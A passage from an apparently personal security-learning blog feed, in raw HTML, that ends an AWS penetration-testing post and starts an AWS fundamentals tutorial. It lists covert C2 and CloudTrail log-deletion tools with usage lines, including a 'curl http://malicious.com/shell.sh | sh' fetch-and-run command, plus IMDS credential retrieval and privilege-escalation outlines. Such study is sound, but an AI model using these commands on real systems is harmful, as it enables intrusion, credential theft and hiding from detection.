class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cloudsplaining download --profile default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cloudsplaining scan --input-file default.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-lambda-proxy"&gt;&lt;a href="#2-lambda-proxy" class="header-anchor"&gt;&lt;/a&gt;(2) Lambda-Proxy&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: A &lt;strong&gt;serverless reverse proxy&lt;/strong&gt; based on Lambda and API Gateway that enables covert C2 communications.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Supports HTTPS-encrypted traffic.&lt;/li&gt;&#10;&lt;li&gt;Dynamically generates random API paths to evade WAF detection.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/pumasecurity/lambda-proxy" target="_blank" rel="noopener"&#10; &gt;https://github.com/pumasecurity/lambda-proxy&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;serverless deploy --stage prod # Deploy to AWS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="5-log-cleanup--anti-detection"&gt;&lt;a href="#5-log-cleanup--anti-detection" class="header-anchor"&gt;&lt;/a&gt;5. Log Cleanup &amp;amp; Anti-Detection&#10;&lt;/h4&gt;&lt;h5 id="1-cloudtrail-mutator"&gt;&lt;a href="#1-cloudtrail-mutator" class="header-anchor"&gt;&lt;/a&gt;(1) CloudTrail Mutator&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Automatically cleans up CloudTrail logs and &lt;strong&gt;deletes specified event records&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Supports fuzzy keyword matching, such as &lt;code&gt;DeleteTrail&lt;/code&gt; and &lt;code&gt;StopLogging&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Bypasses multi-region log backup mechanisms.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/Anon-Exploiter/CloudTrail-Mutator" target="_blank" rel="noopener"&#10; &gt;https://github.com/Anon-Exploiter/CloudTrail-Mutator&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cloudtrail_mutator.py --profile target --filter &amp;#34;DeleteTrail&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-guarddog"&gt;&lt;a href="#2-guarddog" class="header-anchor"&gt;&lt;/a&gt;(2) GuardDog&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Emulates GuardDuty detection logic to &lt;strong&gt;test whether attack techniques can be detected&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Generates simulated attack events such as &lt;code&gt;PenTest:IAMUser/KaliLinux&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Outputs an estimate of the probability of a GuardDuty alert.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/DataDog/guarddog" target="_blank" rel="noopener"&#10; &gt;https://github.com/DataDog/guarddog&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guarddog simulate --attack &amp;#34;S3:GetObjectAnonymously&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="6-advanced-covert-communications"&gt;&lt;a href="#6-advanced-covert-communications" class="header-anchor"&gt;&lt;/a&gt;6. Advanced Covert Communications&#10;&lt;/h4&gt;&lt;h5 id="1-aws-lambda-c2"&gt;&lt;a href="#1-aws-lambda-c2" class="header-anchor"&gt;&lt;/a&gt;(1) AWS Lambda C2&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: A &lt;strong&gt;serverless C2 framework&lt;/strong&gt; built entirely on Lambda and S3 that supports encrypted command delivery.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Stores commands in fragments to evade frequency-based detection.&lt;/li&gt;&#10;&lt;li&gt;Automatically cleans up results to reduce log residue.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/0x4D31/aws-lambda-c2" target="_blank" rel="noopener"&#10; &gt;https://github.com/0x4D31/aws-lambda-c2&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Deploy the backdoor&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 deploy.py --region us-west-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Send a command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 c2-client.py --command &amp;#34;curl http://malicious.com/shell.sh | sh&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-s3c2"&gt;&lt;a href="#2-s3c2" class="header-anchor"&gt;&lt;/a&gt;(2) S3C2&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Uses an S3 bucket as a &lt;strong&gt;covert communication channel&lt;/strong&gt;, supporting file transfers and command execution.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Uses presigned URLs to update commands dynamically.&lt;/li&gt;&#10;&lt;li&gt;Encrypts communication content with AES-256.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/blackhat/secutils" target="_blank" rel="noopener"&#10; &gt;https://github.com/blackhat/secutils&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./s3c2-client.py --bucket my-c2-bucket --get-command&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="conclusion-on-aws-cloud-security"&gt;&lt;a href="#conclusion-on-aws-cloud-security" class="header-anchor"&gt;&lt;/a&gt;Conclusion on AWS Cloud Security&#10;&lt;/h2&gt;&lt;p&gt;That essentially wraps up AWS penetration testing. There may be some penetration testing techniques I have not mentioned, but I believe most of them are covered here. In particular, the defense-evasion techniques in the final section are already advanced methods for red-team operations in cloud environments. You only need to learn one of the languages supported by Lambda and how to call AWS resources, and then you can develop a serverless C2. If you know python, you can use RSA/AES to encrypt communications; if you know JAVA, you can also serialize commands. In short, the goal is simply to delay detection for as long as possible. I have now finished the parts I needed to learn. If my future work involves AWS cloud security and gives me the chance to participate in it deeply (apparently this role only exists overseas :?), I can take things another step further. From here on, I will need to rely more on my own exploration. My practical skills and understanding of the services are already very solid; what I still lack is theoretical knowledge. Once I have learned all of this, I can start preparing for the AWS Certified Security certification. Combining theory with hands-on practice is the only way to develop further.&lt;/p&gt;&#10;&lt;p&gt;At the moment, I still need to learn the boto3 library, the basics of writing CloudFormation templates, and how other cloud providers such as aliyun differ. After that, I should be more or less done.&lt;/p&gt;&#10;</description></item><item><title>AWS Cloud Fundamentals</title><link>http://xtpol.com/p/aws-cloud-basics/</link><pubDate>Mon, 03 Mar 2025 23:26:00 +0800</pubDate><guid>http://xtpol.com/p/aws-cloud-basics/</guid><description>&lt;h2 id="getting-ready-for-aws"&gt;&lt;a href="#getting-ready-for-aws" class="header-anchor"&gt;&lt;/a&gt;Getting Ready for AWS&#10;&lt;/h2&gt;&lt;p&gt;(First, create an account and sign in to AWS. Remember that you initially sign in as the AWS account root user.)&lt;/p&gt;&#10;&lt;h2 id="iam"&gt;&lt;a href="#iam" class="header-anchor"&gt;&lt;/a&gt;IAM&#10;&lt;/h2&gt;&lt;p&gt;Like Linux or Windows, which have a highest-privileged root/administrator account, AWS has one too. It feels a little like a domain setup. ROOT has the highest privileges in AWS and can control everything. But everyone knows what happens if you keep using root: if the account gets compromised, the attacker does not even need to escalate privileges—they already have everything. That is why IAM exists.&lt;/p&gt;&#10;&lt;p&gt;With IAM, you can create a user and assign access to a service. Say I want to grant someone permissions for S3. AWS asks me to set a username and password, then generates a dedicated URL that can be used to sign in to that account, also known as an IAM account. When you host services such as Tomcat or Nginx locally, they usually run as a user like www-data. This is somewhat similar. The domain analogy comes from the fact that ROOT can change a lot of things, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can create user groups, users, roles, policies, and so on. It feels a lot like a domain. Linux and Windows work similarly too: you can assign roles and define policies, almost like setting a security baseline. The difference is that AWS manages everything centrally and distributes the configuration instead of operating on a single machine, which is why it feels like a domain controller. For the rest of this learning process, we need to create an administrator account.&lt;/p&gt;&#10;&lt;h3 id="creating-an-account"&gt;&lt;a href="#creating-an-account" class="header-anchor"&gt;&lt;/a&gt;Creating an Account&#10;&lt;/h3&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Providing AWS Management Console access lets an IAM user work through the web interface (the AWS console), rather than only through the API. I enable everything here because, while learning, I want to understand both the web interface and the API.&lt;/p&gt;&#10;&lt;p&gt;Click Next to reach the permissions page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create a group directly and choose the first permission. The goal here is to create a group with administrator privileges. If I want to create more users with administrator privileges later, I can simply drop them into this group. If that does not matter to you, click &lt;strong&gt;Attach policies directly&lt;/strong&gt; on the far right and attach &lt;code&gt;AdministratorAccess&lt;/code&gt; instead. (The architecture is extremely similar to Windows/Linux account management.)&lt;/p&gt;&#10;&lt;p&gt;At the bottom of this page, there is also an option for setting a permissions boundary. This is easy to understand: &lt;code&gt;AdministratorAccess&lt;/code&gt; grants all permissions, but if I want an IAM user to manage only EC2 and not S3, I can set that restriction here even if the user belongs to the administrators group.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We do not need this here, so just continue to the next step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This only adds tags, similar to descriptions for users and user groups. Just click Create user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="roles"&gt;&lt;a href="#roles" class="header-anchor"&gt;&lt;/a&gt;Roles&#10;&lt;/h3&gt;&lt;p&gt;Here is a quick introduction to the roles section.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Normally, two default roles are generated. The important part is the ARN.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every role has an ARN, somewhat like /etc/passwd on Linux or a SID on Windows. My current understanding is that if you want to learn cloud penetration testing, you have to understand IAM roles because they come into play later during privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;As I understand it, an IAM role lets AWS services such as EC2 and Lambda access AWS resources automatically without an API Key. In other words, if one service needs resources from another service, you can configure a role for it. You can retrieve its temporary credentials like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This returns temporary credentials. If you assign the role to EC2, however, you must be logged in to that EC2 instance to access this URL. The address is a special IP, 169.254.169.254, visible only to the current EC2 instance and inaccessible externally. IMDS automatically identifies the EC2 instance and returns temporary credentials for the IAM role currently attached to it.&lt;/p&gt;&#10;&lt;p&gt;This is both safe and convenient. If you access a service with an APIKEY as described above, that key is long-lived. Once stolen, an attacker can keep using it for a long time. These temporary credentials usually survive for only an hour, so even if someone obtains them, they will soon be unable to sign in or maintain persistent control.&lt;/p&gt;&#10;&lt;h3 id="advanced-iam-penetration-testing-paused"&gt;&lt;a href="#advanced-iam-penetration-testing-paused" class="header-anchor"&gt;&lt;/a&gt;Advanced IAM Penetration Testing (Paused)&#10;&lt;/h3&gt;&lt;p&gt;That covers the basic concepts. The penetration-testing topics below are still blank because I have not started studying them yet, but I am leaving the outline here.&lt;/p&gt;&#10;&lt;p&gt;1️⃣ Identifying IAM account information&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws sts get-caller-identity&lt;/code&gt; to retrieve information about the current IAM account&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam list-users&lt;/code&gt; and &lt;code&gt;aws iam list-roles&lt;/code&gt; to identify users and roles in the account&lt;/li&gt;&#10;&lt;li&gt;Determine AWS account ownership from an IAM ARN&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;2️⃣ IAM privilege escalation (Privilege Escalation)&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; to attach administrator privileges (&lt;code&gt;AdministratorAccess&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;sts:AssumeRole&lt;/code&gt; to switch to a more privileged role&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;iam:CreateAccessKey&lt;/code&gt; to create a new API Key for accessing AWS&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;iam:PassRole&lt;/code&gt; + &lt;code&gt;ec2:RunInstances&lt;/code&gt; to attach a highly privileged role through EC2&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;3️⃣ Abusing IAM roles&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws sts assume-role&lt;/code&gt; to obtain temporary permissions&lt;/li&gt;&#10;&lt;li&gt;Read the IAM role of an EC2 instance (&lt;code&gt;169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;Read IAM role credentials through SSRF (IMDS v1 vulnerability)&lt;/li&gt;&#10;&lt;li&gt;IMDS v2 protections and bypass techniques&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;4️⃣ Analyzing IAM access policies&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Parse policy content returned by &lt;code&gt;aws iam list-policies&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Interpret IAM policies in JSON format&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam get-policy-version&lt;/code&gt; to view policy version history&lt;/li&gt;&#10;&lt;li&gt;Find overly privileged IAM roles (Overly Permissive Policies)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;5️⃣ IAM role abuse&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam list-attached-role-policies&lt;/code&gt; to inspect policies attached to an IAM role&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;sts assume-role&lt;/code&gt; to obtain cross-account access&lt;/li&gt;&#10;&lt;li&gt;Find misconfigured external identity providers (OIDC/SAML)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;6️⃣ Accessing AWS resources with an IAM account&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws s3 ls&lt;/code&gt; to enumerate an IAM account&amp;rsquo;s access to S3&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws ec2 describe-instances&lt;/code&gt; to check access to EC2 resources&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws lambda list-functions&lt;/code&gt; to view the IAM roles attached to Lambda functions&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;7️⃣ IAM account data exposure&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Public S3 buckets (&lt;code&gt;aws s3 ls s3://target-bucket --no-sign-request&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;Exposed CloudFormation/Terraform configuration files&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam get-account-authorization-details&lt;/code&gt; to retrieve detailed IAM account permissions&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam list-access-keys&lt;/code&gt; to check for exposed AWS API Keys&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;8️⃣ Defense and detection&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Monitor AWS CloudTrail logs to detect IAM account abuse&lt;/li&gt;&#10;&lt;li&gt;Use AWS GuardDuty to monitor unusual IAM activity&lt;/li&gt;&#10;&lt;li&gt;Restrict the scope of &lt;code&gt;sts:AssumeRole&lt;/code&gt; access for IAM roles&lt;/li&gt;&#10;&lt;li&gt;Enable IAM Access Analyzer&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="ec2"&gt;&lt;a href="#ec2" class="header-anchor"&gt;&lt;/a&gt;EC2&#10;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;You can think of EC2 as a “virtual machine in the cloud” provided by AWS.&lt;/strong&gt; Its main concepts include:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Instance&lt;/strong&gt;: A cloud server that can be started, stopped, and restarted.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;AMI (Amazon Machine Image)&lt;/strong&gt;: An operating system image for EC2, such as Ubuntu, Amazon Linux, or Windows Server.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Instance Type&lt;/strong&gt;: Determines the CPU, memory, and bandwidth, such as the free &lt;code&gt;t2.micro&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;EBS (Elastic Block Store)&lt;/strong&gt;: EC2 disk storage—the cloud equivalent of a hard drive.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Security Group&lt;/strong&gt;: EC2 firewall rules that control which IPs are allowed to connect.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Public IP &amp;amp; Private IP&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Public IP: An IP that can be accessed directly from the internet.&lt;/li&gt;&#10;&lt;li&gt;Private IP: An IP that can only be accessed inside a VPC (the AWS internal network).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Create an instance by searching for EC2 and opening the instance creation page, then use the configuration shown below. On the free tier, an instance is free if total use stays under 750 hours per month. Since 750 hours is a little over 31 days, you might wonder why they do not simply call it free. EC2 lets you create multiple instances, though: if you create two, each can only run for 375 hours. I use the configuration below. (Amazon Linux is widely used outside China and integrates conveniently with AWS, so I create that here. It is also a chance to learn how Amazon Linux differs from ordinary Linux distributions.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That is enough. Connect over SSH and try it out—the main goal is simply to understand what EC2 is.&lt;/p&gt;&#10;&lt;p&gt;There is also the Security Group, which is very similar to what you see with Alibaba Cloud and other Chinese cloud providers. Those providers enable this firewall automatically, so even after opening a port on the machine itself, you still have to open it in the Alibaba Cloud console. It is basically a firewall.&lt;/p&gt;&#10;&lt;p&gt;Next is EBS. I think of it in terms of a VMware virtual machine: when a virtual machine needs more storage, you can attach another virtual disk. The disk itself is virtualized and does not disappear. It is like plugging in another hard drive that can store data independently—essentially a convenient standalone cloud disk.&lt;/p&gt;&#10;&lt;p&gt;That may be the whole idea behind cloud services. EFS, meanwhile, is a disk shared over NFS. I do wonder whether communication might lag, but it still sounds pretty useful.&lt;/p&gt;&#10;&lt;h2 id="s3"&gt;&lt;a href="#s3" class="header-anchor"&gt;&lt;/a&gt;S3&#10;&lt;/h2&gt;&lt;p&gt;S3 is object storage, not a traditional file system.&lt;/p&gt;&#10;&lt;p&gt;Alibaba Cloud OSS provides plenty of familiar real-world examples. When you upload a file, for instance, it is often uploaded to an OSS service and read back from there. No matter how you upload it, the file never reaches the local server; it goes to another cloud service instead. To me, S3 does not seem very different from OSS.&lt;/p&gt;&#10;&lt;h3 id="differences-between-s3-and-oss"&gt;&lt;a href="#differences-between-s3-and-oss" class="header-anchor"&gt;&lt;/a&gt;Differences Between S3 and OSS&#10;&lt;/h3&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Feature&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;AWS S3&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Alibaba Cloud OSS&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Bucket name&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Globally unique&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Unique within a region&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Region 